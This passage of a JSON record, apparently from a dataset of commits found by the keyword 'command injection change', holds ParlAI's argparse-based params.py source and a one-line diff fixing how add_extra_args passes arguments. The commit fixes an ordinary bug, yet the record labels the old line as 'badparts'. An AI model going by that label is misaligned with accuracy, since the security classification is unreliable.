'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns\n .\n \"\"\"\n if ':' not in value:\n raise RuntimeError('Use a colon before the name of the class.')\n name = value.split(':')\n module = importlib.import_module(name[0])\n return getattr(module, name[1])\n\n\ndef class2str(value):\n \"\"\"Inverse of params.str2class().\"\"\"\n s = str(value)\n s = s[s.find('\\'') + 1:s.rfind('\\'')] # pull out import path\n s = ':'.join(s.rsplit('.', 1)) # replace last period with ':'\n return s\n\n\ndef modelzoo_path(datapath, path):\n \"\"\"If path starts with 'models', then we remap it to the model zoo path\n within the data directory (default is ParlAI/data/models).\n .\"\"\"\n if path is None:\n return None\n if not path.startswith('models:'):\n return path\n else:\n # Check if we need to download the model\n animal = path[7:path.rfind('/')].replace('/', '.')\n module_name = f\"parlai.zoo.{animal}\"\n print(module_name)\n try:\n my_module = importlib.import_module(module_name)\n download = getattr(my_module, 'download')\n download(datapath)\n except (ModuleNotFoundError, AttributeError):\n pass\n return os.path.join(datapath, 'models', path[7:])\n\n\nclass ParlaiParser(argparse.ArgumentParser):\n \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters\n for the ParlAI framework. More options can be added specific to other\n modules by passing this object and calling ``add_arg()`` or\n ``add_argument()`` on it.\n\n For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``.\n \"\"\"\n\n def __init__(self, add_parlai_args=True, add_model_args=False):\n \"\"\"Initializes the ParlAI argparser.\n - add_parlai_args (default True) initializes the default arguments for\n ParlAI package, including the data download paths and task arguments.\n - add_model_args (default False) initializes the default arguments for\n loading models, including initializing arguments from that model.\n \"\"\"\n super().__init__(description='ParlAI parser.', allow_abbrev=False,\n conflict_handler='resolve')\n self.register('type', 'bool', str2bool)\n self.register('type', 'class', str2class)\n self.parlai_home = (os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.realpath(__file__)))))\n os.environ['PARLAI_HOME'] = self.parlai_home\n\n self.add_arg = self.add_argument\n\n # remember which args were specified on the command line\n self.cli_args = sys.argv\n self.overridable = {}\n\n if add_parlai_args:\n self.add_parlai_args()\n if add_model_args:\n self.add_model_args()\n\n def add_parlai_data_path(self, argument_group=None):\n if argument_group is None:\n argument_group = self\n default_data_path = os.path.join(self.parlai_home, 'data')\n argument_group.add_argument(\n '-dp', '--datapath', default=default_data_path,\n help='path to datasets, defaults to {parlai_dir}/data')\n\n def add_mturk_args(self):\n mturk = self.add_argument_group('Mechanical Turk')\n default_log_path = os.path.join(self.parlai_home, 'logs', 'mturk')\n mturk.add_argument(\n '--mturk-log-path', default=default_log_path,\n help='path to MTurk logs, defaults to {parlai_dir}/logs/mturk')\n mturk.add_argument(\n '-t', '--task',\n help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"')\n mturk.add_argument(\n '-nc', '--num-conversations', default=1, type=int,\n help='number of conversations you want to create for this task')\n mturk.add_argument(\n '--unique', dest='unique_worker', default=False,\n action='store_true',\n help='enforce that no worker can work on your task twice')\n mturk.add_argument(\n '--unique-qual-name', dest='unique_qual_name',\n default=None, type=str,\n help='qualification name to use for uniqueness between HITs')\n mturk.add_argument(\n '-r', '--reward', default=0.05, type=float,\n help='reward for each worker for finishing the conversation, '\n 'in US dollars')\n mturk.add_argument(\n '--sandbox', dest='is_sandbox', action='store_true',\n help='submit the HITs to MTurk sandbox site')\n mturk.add_argument(\n '--live', dest='is_sandbox', action='store_false',\n help='submit the HITs to MTurk live site')\n mturk.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n mturk.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n mturk.add_argument(\n '--hard-block', dest='hard_block', action='store_true',\n default=False,\n help='Hard block disconnecting Turkers from all of your HITs')\n mturk.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n mturk.add_argument(\n '--block-qualification', dest='block_qualification', default='',\n help='Qualification to use for soft blocking users. By default '\n 'turkers are never blocked, though setting this will allow '\n 'you to filter out turkers that have disconnected too many '\n 'times on previous HITs where this qualification was set.')\n mturk.add_argument(\n '--count-complete', dest='count_complete',\n default=False, action='store_true',\n help='continue until the requested number of conversations are '\n 'completed rather than attempted')\n mturk.add_argument(\n '--allowed-conversations', dest='allowed_conversations',\n default=0, type=int,\n help='number of concurrent conversations that one mturk worker '\n 'is able to be involved in, 0 is unlimited')\n mturk.add_argument(\n '--max-connections', dest='max_connections',\n default=30, type=int,\n help='number of HITs that can be launched at the same time, 0 is '\n 'unlimited.'\n )\n mturk.add_argument(\n '--min-messages', dest='min_messages',\n default=0, type=int,\n help='number of messages required to be sent by MTurk agent when '\n 'considering whether to approve a HIT in the event of a '\n 'partner disconnect. I.e. if the number of messages '\n 'exceeds this number, the turker can submit the HIT.'\n )\n mturk.add_argument(\n '--local', dest='local', default=False, action='store_true',\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n mturk.set_defaults(is_sandbox=True)\n mturk.set_defaults(is_debug=False)\n mturk.set_defaults(verbose=False)\n\n def add_messenger_args(self):\n messenger = self.add_argument_group('Facebook Messenger')\n messenger.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n messenger.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n messenger.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n messenger.add_argument(\n '--force-page-token', dest='force_page_token', action='store_true',\n help='override the page token stored in the cache for a new one')\n messenger.add_argument(\n '--password', dest='password', type=str, default=None,\n help='Require a password for entry to the bot')\n messenger.add_argument(\n '--local', dest='local', action='store_true', default=False,\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n messenger.set_defaults(is_debug=False)\n messenger.set_defaults(verbose=False)\n\n def add_parlai_args(self, args=None):\n default_downloads_path = os.path.join(self.parlai_home, 'downloads')\n parlai = self.add_argument_group('Main ParlAI Arguments')\n parlai.add_argument(\n '-t', '--task',\n help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"')\n parlai.add_argument(\n '--download-path', default=default_downloads_path,\n help='path for non-data dependencies to store any needed files.'\n 'defaults to {parlai_dir}/downloads')\n parlai.add_argument(\n '-dt', '--datatype', default='train',\n choices=['train', 'train:stream', 'train:ordered',\n 'train:ordered:stream', 'train:stream:ordered',\n 'valid', 'valid:stream', 'test', 'test:stream'],\n help='choose from: train, train:ordered, valid, test. to stream '\n 'data add \":stream\" to any option (e.g., train:stream). '\n 'by default: train is random with replacement, '\n 'valid is ordered, test is ordered.')\n parlai.add_argument(\n '-im', '--image-mode', default='raw', type=str,\n help='image preprocessor to use. default is \"raw\". set to \"none\" '\n 'to skip image loading.')\n parlai.add_argument(\n '-nt', '--numthreads', default=1, type=int,\n help='number of threads. If batchsize set to 1, used for hogwild; '\n 'otherwise, used for number of threads in threadpool loading,'\n ' e.g. in vqa')\n parlai.add_argument(\n '--hide-labels', default=False, type='bool',\n help='default (False) moves labels in valid and test sets to the '\n 'eval_labels field. If True, they are hidden completely.')\n batch = self.add_argument_group('Batching Arguments')\n batch.add_argument(\n '-bs', '--batchsize', default=1, type=int,\n help='batch size for minibatch training schemes')\n batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool',\n help='If enabled (default True), create batches by '\n 'flattening all episodes to have exactly one '\n 'utterance exchange and then sorting all the '\n 'examples according to their length. This '\n 'dramatically reduces the amount of padding '\n 'present after examples have been parsed, '\n 'speeding up training.')\n batch.add_argument('-clen', '--context-length', default=-1, type=int,\n help='Number of past utterances to remember when '\n 'building flattened batches of data in multi-'\n 'example episodes.')\n batch.add_argument('-incl', '--include-labels',\n default=True, type='bool',\n help='Specifies whether or not to include labels '\n 'as past utterances when building flattened '\n 'batches of data in multi-example episodes.')\n self.add_parlai_data_path(parlai)\n\n def add_model_args(self):\n \"\"\"Add arguments related to models such as model files.\"\"\"\n model_args = self.add_argument_group('ParlAI Model Arguments')\n model_args.add_argument(\n '-m', '--model', default=None,\n help='the model class name. can match parlai/agents/ for '\n 'agents in that directory, or can provide a fully specified '\n 'module for `from X import Y` via `-m X:Y` '\n '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)')\n model_args.add_argument(\n '-mf', '--model-file', default=None,\n help='model file name for loading and saving models')\n model_args.add_argument(\n '--dict-class',\n help='the class of the dictionary agent uses')\n\n def add_model_subargs(self, model):\n \"\"\"Add arguments specific to a particular model.\"\"\"\n agent = get_agent_module(model)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n try:\n if hasattr(agent, 'dictionary_class'):\n s = class2str(agent.dictionary_class())\n self.set_defaults(dict_class=s)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_task_args(self, task):\n \"\"\"Add arguments specific to the specified task.\"\"\"\n for t in ids_to_tasks(task).split(','):\n agent = get_task_module(t)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_image_args(self, image_mode):\n \"\"\"Add additional arguments for handling images.\"\"\"\n try:\n parlai = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n parlai.add_argument('--image-size', type=int, default=256,\n help='resizing dimension for images')\n parlai.add_argument('--image-cropsize', type=int, default=224,\n help='crop dimension for images')\n except argparse.ArgumentError:\n # already added\n pass\n\n\n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n parsed = vars(self.parse_known_args(nohelp=True)[0])\n\n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n if image_mode is not None and image_mode != 'none':\n self.add_image_args(image_mode)\n\n # find which task specified if any, and add its specific arguments\n task = parsed.get('task', None)\n if task is not None:\n self.add_task_args(task)\n evaltask = parsed.get('evaltask', None)\n if evaltask is not None:\n self.add_task_args(evaltask)\n\n # find which model specified if any, and add its specific arguments\n model = parsed.get('model', None)\n if model is not None:\n self.add_model_subargs(model)\n\n # reset parser-level defaults over any model-level defaults\n try:\n self.set_defaults(**self._defaults)\n except AttributeError:\n raise RuntimeError('Please file an issue on github that argparse '\n 'got an attribute error when parsing.')\n\n\n def parse_known_args(self, args=None, namespace=None, nohelp=False):\n \"\"\"Custom parse known args to ignore help flag.\"\"\"\n if nohelp:\n # ignore help\n args = sys.argv[1:] if args is None else args\n args = [a for a in args if a != '-h' and a != '--help']\n return super().parse_known_args(args, namespace)\n\n\n def parse_args(self, args=None, namespace=None, print_args=True):\n \"\"\"Parses the provided arguments and returns a dictionary of the\n ``args``. We specifically remove items with ``None`` as values in order\n to support the style ``opt.get(key, default)``, which would otherwise\n return ``None``.\n \"\"\"\n self.add_extra_args(args)\n self.args = super().parse_args(args=args)\n self.opt = vars(self.args)\n\n # custom post-parsing\n self.opt['parlai_home'] = self.parlai_home\n if 'batchsize' in self.opt and self.opt['batchsize'] <= 1:\n # hide batch options\n self.opt.pop('batch_sort', None)\n self.opt.pop('context_length', None)\n\n # set environment variables\n if self.opt.get('download_path'):\n os.environ['PARLAI_DOWNPATH'] = self.opt['download_path']\n if self.opt.get('datapath'):\n os.environ['PARLAI_DATAPATH'] = self.opt['datapath']\n\n # map filenames that start with 'models:' to point to the model zoo dir\n if self.opt.get('model_file') is not None:\n self.opt['model_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['model_file'])\n if self.opt.get('dict_file') is not None:\n self.opt['dict_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['dict_file'])\n\n # set all arguments specified in commandline as overridable\n option_strings_dict = {}\n store_true = []\n store_false = []\n for group in self._action_groups:\n for a in group._group_actions:\n if hasattr(a, 'option_strings'):\n for option in a.option_strings:\n option_strings_dict[option] = a.dest\n if '_StoreTrueAction' in str(type(a)):\n store_true.append(option)\n elif '_StoreFalseAction' in str(type(a)):\n store_false.append(option)\n\n for i in range(len(self.cli_args)):\n if self.cli_args[i] in option_strings_dict:\n if self.cli_args[i] in store_true:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n True\n elif self.cli_args[i] in store_false:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n False\n else:\n if i < (len(self.cli_args) - 1) and \\\n self.cli_args[i+1][0] != '-':\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n self.cli_args[i+1]\n self.opt['override'] = self.overridable\n\n if print_args:\n self.print_args()\n\n return self.opt\n\n def print_args(self):\n \"\"\"Print out all the arguments in this parser.\"\"\"\n if not self.opt:\n self.parse_args(print_args=False)\n values = {}\n for key, value in self.opt.items():\n values[str(key)] = str(value)\n for group in self._action_groups:\n group_dict = {\n a.dest: getattr(self.args, a.dest, None)\n for a in group._group_actions\n }\n namespace = argparse.Namespace(**group_dict)\n count = 0\n for key in namespace.__dict__:\n if key in values:\n if count == 0:\n print('[ ' + group.title + ': ] ')\n count += 1\n print('[ ' + key + ': ' + values[key] + ' ]')\n\n def set_params(self, **kwargs):\n \"\"\"Set overridable kwargs.\"\"\"\n self.set_defaults(**kwargs)\n for k, v in kwargs.items():\n self.overridable[k] = v\n"}}, "msg": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters."}}, "https://github.com/xlrshop/Parl": {"601668d569e1276e0b8bf2bf8fb43e391e10d170": {"url": "https://api.github.com/repos/xlrshop/Parl/commits/601668d569e1276e0b8bf2bf8fb43e391e10d170", "html_url": "https://github.com/xlrshop/Parl/commit/601668d569e1276e0b8bf2bf8fb43e391e10d170", "message": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters.", "sha": "601668d569e1276e0b8bf2bf8fb43e391e10d170", "keyword": "command injection change", "diff": "diff --git a/parlai/core/params.py b/parlai/core/params.py\nindex 027c02c..17e4a98 100644\n--- a/parlai/core/params.py\n+++ b/parlai/core/params.py\n@@ -335,7 +335,7 @@ def add_image_args(self, image_mode):\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "files": {"/parlai/core/params.py": {"changes": [{"diff": "\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "add": 1, "remove": 1, "filename": "/parlai/core/params.py", "badparts": [" parsed = vars(self.parse_known_args(nohelp=True)[0])"], "goodparts": [" parsed = vars(self.parse_known_args(args, nohelp=True)[0])"]}], "source": "\n \"\"\"Provides an argument parser and a set of default command line options for using the ParlAI package. \"\"\" import argparse import importlib import os import sys from parlai.core.agents import get_agent_module, get_task_module from parlai.tasks.tasks import ids_to_tasks def str2bool(value): v=value.lower() if v in('yes', 'true', 't', '1', 'y'): return True elif v in('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected.') def str2class(value): \"\"\"From import path string, returns the class specified. For example, the string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns . \"\"\" if ':' not in value: raise RuntimeError('Use a colon before the name of the class.') name=value.split(':') module=importlib.import_module(name[0]) return getattr(module, name[1]) def class2str(value): \"\"\"Inverse of params.str2class().\"\"\" s=str(value) s=s[s.find('\\'') +1:s.rfind('\\'')] s=':'.join(s.rsplit('.', 1)) return s def modelzoo_path(datapath, path): \"\"\"If path starts with 'models', then we remap it to the model zoo path within the data directory(default is ParlAI/data/models). .\"\"\" if path is None: return None if not path.startswith('models:'): return path else: animal=path[7:path.rfind('/')].replace('/', '.') module_name=f\"parlai.zoo.{animal}\" print(module_name) try: my_module=importlib.import_module(module_name) download=getattr(my_module, 'download') download(datapath) except(ModuleNotFoundError, AttributeError): pass return os.path.join(datapath, 'models', path[7:]) class ParlaiParser(argparse.ArgumentParser): \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters for the ParlAI framework. More options can be added specific to other modules by passing this object and calling ``add_arg()`` or ``add_argument()`` on it. For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``. \"\"\" def __init__(self, add_parlai_args=True, add_model_args=False): \"\"\"Initializes the ParlAI argparser. -add_parlai_args(default True) initializes the default arguments for ParlAI package, including the data download paths and task arguments. -add_model_args(default False) initializes the default arguments for loading models, including initializing arguments from that model. \"\"\" super().__init__(description='ParlAI parser.', allow_abbrev=False, conflict_handler='resolve') self.register('type', 'bool', str2bool) self.register('type', 'class', str2class) self.parlai_home=(os.path.dirname(os.path.dirname(os.path.dirname( os.path.realpath(__file__))))) os.environ['PARLAI_HOME']=self.parlai_home self.add_arg=self.add_argument self.cli_args=sys.argv self.overridable={} if add_parlai_args: self.add_parlai_args() if add_model_args: self.add_model_args() def add_parlai_data_path(self, argument_group=None): if argument_group is None: argument_group=self default_data_path=os.path.join(self.parlai_home, 'data') argument_group.add_argument( '-dp', '--datapath', default=default_data_path, help='path to datasets, defaults to{parlai_dir}/data') def add_mturk_args(self): mturk=self.add_argument_group('Mechanical Turk') default_log_path=os.path.join(self.parlai_home, 'logs', 'mturk') mturk.add_argument( '--mturk-log-path', default=default_log_path, help='path to MTurk logs, defaults to{parlai_dir}/logs/mturk') mturk.add_argument( '-t', '--task', help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"') mturk.add_argument( '-nc', '--num-conversations', default=1, type=int, help='number of conversations you want to create for this task') mturk.add_argument( '--unique', dest='unique_worker', default=False, action='store_true', help='enforce that no worker can work on your task twice') mturk.add_argument( '--unique-qual-name', dest='unique_qual_name', default=None, type=str, help='qualification name to use for uniqueness between HITs') mturk.add_argument( '-r', '--reward', default=0.05, type=float, help='reward for each worker for finishing the conversation, ' 'in US dollars') mturk.add_argument( '--sandbox', dest='is_sandbox', action='store_true', help='submit the HITs to MTurk sandbox site') mturk.add_argument( '--live', dest='is_sandbox', action='store_false', help='submit the HITs to MTurk live site') mturk.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') mturk.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') mturk.add_argument( '--hard-block', dest='hard_block', action='store_true', default=False, help='Hard block disconnecting Turkers from all of your HITs') mturk.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') mturk.add_argument( '--block-qualification', dest='block_qualification', default='', help='Qualification to use for soft blocking users. By default ' 'turkers are never blocked, though setting this will allow ' 'you to filter out turkers that have disconnected too many ' 'times on previous HITs where this qualification was set.') mturk.add_argument( '--count-complete', dest='count_complete', default=False, action='store_true', help='continue until the requested number of conversations are ' 'completed rather than attempted') mturk.add_argument( '--allowed-conversations', dest='allowed_conversations', default=0, type=int, help='number of concurrent conversations that one mturk worker ' 'is able to be involved in, 0 is unlimited') mturk.add_argument( '--max-connections', dest='max_connections', default=30, type=int, help='number of HITs that can be launched at the same time, 0 is ' 'unlimited.' ) mturk.add_argument( '--min-messages', dest='min_messages', default=0, type=int, help='number of messages required to be sent by MTurk agent when ' 'considering whether to approve a HIT in the event of a ' 'partner disconnect. I.e. if the number of messages ' 'exceeds this number, the turker can submit the HIT.' ) mturk.add_argument( '--local', dest='local', default=False, action='store_true', help='Run the server locally on this server rather than setting up' ' a heroku server.' ) mturk.set_defaults(is_sandbox=True) mturk.set_defaults(is_debug=False) mturk.set_defaults(verbose=False) def add_messenger_args(self): messenger=self.add_argument_group('Facebook Messenger') messenger.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') messenger.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') messenger.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') messenger.add_argument( '--force-page-token', dest='force_page_token', action='store_true', help='override the page token stored in the cache for a new one') messenger.add_argument( '--password', dest='password', type=str, default=None, help='Require a password for entry to the bot') messenger.add_argument( '--local', dest='local', action='store_true', default=False, help='Run the server locally on this server rather than setting up' ' a heroku server.' ) messenger.set_defaults(is_debug=False) messenger.set_defaults(verbose=False) def add_parlai_args(self, args=None): default_downloads_path=os.path.join(self.parlai_home, 'downloads') parlai=self.add_argument_group('Main ParlAI Arguments') parlai.add_argument( '-t', '--task', help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"') parlai.add_argument( '--download-path', default=default_downloads_path, help='path for non-data dependencies to store any needed files.' 'defaults to{parlai_dir}/downloads') parlai.add_argument( '-dt', '--datatype', default='train', choices=['train', 'train:stream', 'train:ordered', 'train:ordered:stream', 'train:stream:ordered', 'valid', 'valid:stream', 'test', 'test:stream'], help='choose from: train, train:ordered, valid, test. to stream ' 'data add \":stream\" to any option(e.g., train:stream). ' 'by default: train is random with replacement, ' 'valid is ordered, test is ordered.') parlai.add_argument( '-im', '--image-mode', default='raw', type=str, help='image preprocessor to use. default is \"raw\". set to \"none\" ' 'to skip image loading.') parlai.add_argument( '-nt', '--numthreads', default=1, type=int, help='number of threads. If batchsize set to 1, used for hogwild; ' 'otherwise, used for number of threads in threadpool loading,' ' e.g. in vqa') parlai.add_argument( '--hide-labels', default=False, type='bool', help='default(False) moves labels in valid and test sets to the ' 'eval_labels field. If True, they are hidden completely.') batch=self.add_argument_group('Batching Arguments') batch.add_argument( '-bs', '--batchsize', default=1, type=int, help='batch size for minibatch training schemes') batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool', help='If enabled(default True), create batches by ' 'flattening all episodes to have exactly one ' 'utterance exchange and then sorting all the ' 'examples according to their length. This ' 'dramatically reduces the amount of padding ' 'present after examples have been parsed, ' 'speeding up training.') batch.add_argument('-clen', '--context-length', default=-1, type=int, help='Number of past utterances to remember when ' 'building flattened batches of data in multi-' 'example episodes.') batch.add_argument('-incl', '--include-labels', default=True, type='bool', help='Specifies whether or not to include labels ' 'as past utterances when building flattened ' 'batches of data in multi-example episodes.') self.add_parlai_data_path(parlai) def add_model_args(self): \"\"\"Add arguments related to models such as model files.\"\"\" model_args=self.add_argument_group('ParlAI Model Arguments') model_args.add_argument( '-m', '--model', default=None, help='the model class name. can match parlai/agents/ for ' 'agents in that directory, or can provide a fully specified ' 'module for `from X import Y` via `-m X:Y` ' '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)') model_args.add_argument( '-mf', '--model-file', default=None, help='model file name for loading and saving models') model_args.add_argument( '--dict-class', help='the class of the dictionary agent uses') def add_model_subargs(self, model): \"\"\"Add arguments specific to a particular model.\"\"\" agent=get_agent_module(model) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass try: if hasattr(agent, 'dictionary_class'): s=class2str(agent.dictionary_class()) self.set_defaults(dict_class=s) except argparse.ArgumentError: pass def add_task_args(self, task): \"\"\"Add arguments specific to the specified task.\"\"\" for t in ids_to_tasks(task).split(','): agent=get_task_module(t) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass def add_image_args(self, image_mode): \"\"\"Add additional arguments for handling images.\"\"\" try: parlai=self.add_argument_group('ParlAI Image Preprocessing Arguments') parlai.add_argument('--image-size', type=int, default=256, help='resizing dimension for images') parlai.add_argument('--image-cropsize', type=int, default=224, help='crop dimension for images') except argparse.ArgumentError: pass def add_extra_args(self, args=None): \"\"\"Add more args depending on how known args are set.\"\"\" parsed=vars(self.parse_known_args(nohelp=True)[0]) image_mode=parsed.get('image_mode', None) if image_mode is not None and image_mode !='none': self.add_image_args(image_mode) task=parsed.get('task', None) if task is not None: self.add_task_args(task) evaltask=parsed.get('evaltask', None) if evaltask is not None: self.add_task_args(evaltask) model=parsed.get('model', None) if model is not None: self.add_model_subargs(model) try: self.set_defaults(**self._defaults) except AttributeError: raise RuntimeError('Please file an issue on github that argparse ' 'got an attribute error when parsing.') def parse_known_args(self, args=None, namespace=None, nohelp=False): \"\"\"Custom parse known args to ignore help flag.\"\"\" if nohelp: args=sys.argv[1:] if args is None else args args=[a for a in args if a !='-h' and a !='--help'] return super().parse_known_args(args, namespace) def parse_args(self, args=None, namespace=None, print_args=True): \"\"\"Parses the provided arguments and returns a dictionary of the ``args``. We specifically remove items with ``None`` as values in order to support the style ``opt.get(key, default)``, which would otherwise return ``None``. \"\"\" self.add_extra_args(args) self.args=super().parse_args(args=args) self.opt=vars(self.args) self.opt['parlai_home']=self.parlai_home if 'batchsize' in self.opt and self.opt['batchsize'] <=1: self.opt.pop('batch_sort', None) self.opt.pop('context_length', None) if self.opt.get('download_path'): os.environ['PARLAI_DOWNPATH']=self.opt['download_path'] if self.opt.get('datapath'): os.environ['PARLAI_DATAPATH']=self.opt['datapath'] if self.opt.get('model_file') is not None: self.opt['model_file']=modelzoo_path(self.opt.get('datapath'), self.opt['model_file']) if self.opt.get('dict_file') is not None: self.opt['dict_file']=modelzoo_path(self.opt.get('datapath'), self.opt['dict_file']) option_strings_dict={} store_true=[] store_false=[] for group in self._action_groups: for a in group._group_actions: if hasattr(a, 'option_strings'): for option in a.option_strings: option_strings_dict[option]=a.dest if '_StoreTrueAction' in str(type(a)): store_true.append(option) elif '_StoreFalseAction' in str(type(a)): store_false.append(option) for i in range(len(self.cli_args)): if self.cli_args[i] in option_strings_dict: if self.cli_args[i] in store_true: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ True elif self.cli_args[i] in store_false: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ False else: if i <(len(self.cli_args) -1) and \\ self.cli_args[i+1][0] !='-': self.overridable[option_strings_dict[self.cli_args[i]]]=\\ self.cli_args[i+1] self.opt['override']=self.overridable if print_args: self.print_args() return self.opt def print_args(self): \"\"\"Print out all the arguments in this parser.\"\"\" if not self.opt: self.parse_args(print_args=False) values={} for key, value in self.opt.items(): values[str(key)]=str(value) for group in self._action_groups: group_dict={ a.dest: getattr(self.args, a.dest, None) for a in group._group_actions } namespace=argparse.Namespace(**group_dict) count=0 for key in namespace.__dict__: if key in values: if count==0: print('[ ' +group.title +':] ') count +=1 print('[ ' +key +': ' +values[key] +']') def set_params(self, **kwargs): \"\"\"Set overridable kwargs.\"\"\" self.set_defaults(**kwargs) for k, v in kwargs.items(): self.overridable[k]=v ", "sourceWithComments": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\"\"\"Provides an argument parser and a set of default command line options for\nusing the ParlAI package.\n\"\"\"\n\nimport argparse\nimport importlib\nimport os\nimport sys\nfrom parlai.core.agents import get_agent_module, get_task_module\nfrom parlai.tasks.tasks import ids_to_tasks\n\n\ndef str2bool(value):\n v = value.lower()\n if v in ('yes', 'true', 't', '1', 'y'):\n return True\n elif v in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef str2class(value):\n \"\"\"From import path string, returns the class specified. For example, the\n string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns\n .\n \"\"\"\n if ':' not in value:\n raise RuntimeError('Use a colon before the name of the class.')\n name = value.split(':')\n module = importlib.import_module(name[0])\n return getattr(module, name[1])\n\n\ndef class2str(value):\n \"\"\"Inverse of params.str2class().\"\"\"\n s = str(value)\n s = s[s.find('\\'') + 1:s.rfind('\\'')] # pull out import path\n s = ':'.join(s.rsplit('.', 1)) # replace last period with ':'\n return s\n\n\ndef modelzoo_path(datapath, path):\n \"\"\"If path starts with 'models', then we remap it to the model zoo path\n within the data directory (default is ParlAI/data/models).\n .\"\"\"\n if path is None:\n return None\n if not path.startswith('models:'):\n return path\n else:\n # Check if we need to download the model\n animal = path[7:path.rfind('/')].replace('/', '.')\n module_name = f\"parlai.zoo.{animal}\"\n print(module_name)\n try:\n my_module = importlib.import_module(module_name)\n download = getattr(my_module, 'download')\n download(datapath)\n except (ModuleNotFoundError, AttributeError):\n pass\n return os.path.join(datapath, 'models', path[7:])\n\n\nclass ParlaiParser(argparse.ArgumentParser):\n \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters\n for the ParlAI framework. More options can be added specific to other\n modules by passing this object and calling ``add_arg()`` or\n ``add_argument()`` on it.\n\n For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``.\n \"\"\"\n\n def __init__(self, add_parlai_args=True, add_model_args=False):\n \"\"\"Initializes the ParlAI argparser.\n - add_parlai_args (default True) initializes the default arguments for\n ParlAI package, including the data download paths and task arguments.\n - add_model_args (default False) initializes the default arguments for\n loading models, including initializing arguments from that model.\n \"\"\"\n super().__init__(description='ParlAI parser.', allow_abbrev=False,\n conflict_handler='resolve')\n self.register('type', 'bool', str2bool)\n self.register('type', 'class', str2class)\n self.parlai_home = (os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.realpath(__file__)))))\n os.environ['PARLAI_HOME'] = self.parlai_home\n\n self.add_arg = self.add_argument\n\n # remember which args were specified on the command line\n self.cli_args = sys.argv\n self.overridable = {}\n\n if add_parlai_args:\n self.add_parlai_args()\n if 